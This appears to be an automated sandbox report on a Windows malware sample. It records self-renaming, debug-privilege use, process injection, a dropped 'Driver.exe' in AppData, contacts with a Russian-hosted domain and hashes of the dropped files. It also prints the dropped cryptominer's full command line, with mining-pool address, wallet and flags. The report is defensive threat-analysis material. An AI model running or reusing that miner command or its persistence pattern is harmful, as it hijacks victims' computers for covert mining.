N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A

Suspicious behavior: RenamesItself

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5036 wrote to memory of 2256 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 5036 wrote to memory of 2256 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 5036 wrote to memory of 2256 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 5036 wrote to memory of 2256 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 5036 wrote to memory of 2256 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 5036 wrote to memory of 2256 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 5036 wrote to memory of 2256 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 5036 wrote to memory of 2256 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 5036 wrote to memory of 2256 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 2256 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 2256 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

Processes

C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe

"C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe"

C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe

"C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe"

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 46onrEZsDdWZyknWG5KjBbVcLnUmBqUhmc9Hq5z1SStdRpV4zPkJNeXGZdb4s9ibhSG89hYWjUmw15UJ39NneQuH92pDsHK -p x -k -v=0 --donate-level=1 -t 1

Network

Country Destination Domain Proto
NL 104.97.14.81:80 tcp
NL 20.50.201.200:443 tcp
IE 20.54.110.249:443 tcp
NL 20.190.160.73:443 tcp
NL 20.190.160.73:443 tcp
NL 87.248.202.1:80 tcp
NL 87.248.202.1:80 tcp
NL 20.190.160.67:443 tcp
NL 20.190.160.67:443 tcp
IE 20.54.89.15:443 tcp
NL 20.190.160.73:443 tcp
NL 20.190.160.2:443 tcp
NL 20.190.160.2:443 tcp
US 8.8.8.8:53 151.122.125.40.in-addr.arpa udp
NL 20.190.160.67:443 tcp
NL 20.190.160.136:443 tcp
US 8.8.8.8:53 cb32807.tmweb.ru udp
RU 92.53.96.120:80 cb32807.tmweb.ru tcp
NL 20.190.160.136:443 tcp
US 13.107.21.200:443 tcp
US 8.8.8.8:53 7.6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.0.0.0.2.0.0.0.0.2.0.1.3.0.6.2.ip6.arpa udp
NL 20.190.160.2:443 tcp
NL 20.190.160.2:443 tcp
RU 92.53.96.120:80 cb32807.tmweb.ru tcp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 46.4.27.39:3333 pool.hashvault.pro tcp
NL 20.190.160.136:443 tcp
NL 104.80.225.205:443 tcp
NL 20.190.160.136:443 tcp
RU 92.53.96.120:80 cb32807.tmweb.ru tcp

Files

memory/5036-130-0x0000000000170000-0x0000000000442000-memory.dmp

memory/5036-131-0x00000000079E0000-0x0000000007F84000-memory.dmp

memory/5036-132-0x0000000007430000-0x00000000074C2000-memory.dmp

memory/5036-133-0x0000000004E00000-0x0000000004E0A000-memory.dmp

memory/5036-134-0x0000000006F50000-0x0000000006FEC000-memory.dmp

memory/5036-135-0x0000000000AD0000-0x0000000000B36000-memory.dmp

memory/2256-136-0x0000000000000000-mapping.dmp

memory/2256-137-0x0000000000400000-0x000000000062A000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe.log

MD5 e08f822522c617a40840c62e4b0fb45e
SHA1 ae516dca4da5234be6676d3f234c19ec55725be7
SHA256 bd9d5e9f7fe6fcff17d873555d4077d15f7d6cdda1183e7f7d278b735ffe1fd7
SHA512 894a7fb7bbc18ac6ba13378f58a7db80ad00d6080be9a66b01cae8e23e41d9d2d4cd53c1e20669356b73590c8a3ebfda4bdda3258f81240db56c4a81b7313fe4

memory/1628-139-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 5057a2c9d718b3ec71df1442fd137a28
SHA1 bf9dacb50ca403e8ad274f5d96af9177ab76c0e5
SHA256 a77f85188c6b1ada2cbe4581061c32504d42df4930257e3bc04afaf37af63b43
SHA512 448db62c126eba00816987981ca1fc61a2c0accf96cf12f770990e508fe2aee71f42c626b238d30af8d6da0f8ee279edfe79cdcee22304ed17e659589af383f0

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 5057a2c9d718b3ec71df1442fd137a28
SHA1 bf9dacb50ca403e8ad274f5d96af9177ab76c0e5
SHA256 a77f85188c6b1ada2cbe4581061c32504d42df4930257e3bc04afaf37af63b43
SHA512 448db62c126eba00816987981ca1fc61a2c0accf96cf12f770990e508fe2aee71f42c626b238d30af8d6da0f8ee279edfe79cdcee22304ed17e659589af383f0

memory/1628-142-0x0000000000400000-0x0000000000CF1000-memory.dmp

memory/1628-143-0x0000000000190000-0x00000000001A0000-memory.dmp

memory/1628-144-0x0000000000000000-0x0000000000200000-memory.dmp

memory/1628-145-0x0000000000400000-0x0000000000CF1000-memory.dmp

memory/1628-146-0x0000000000000000-0x0000000000200000-memory.dmp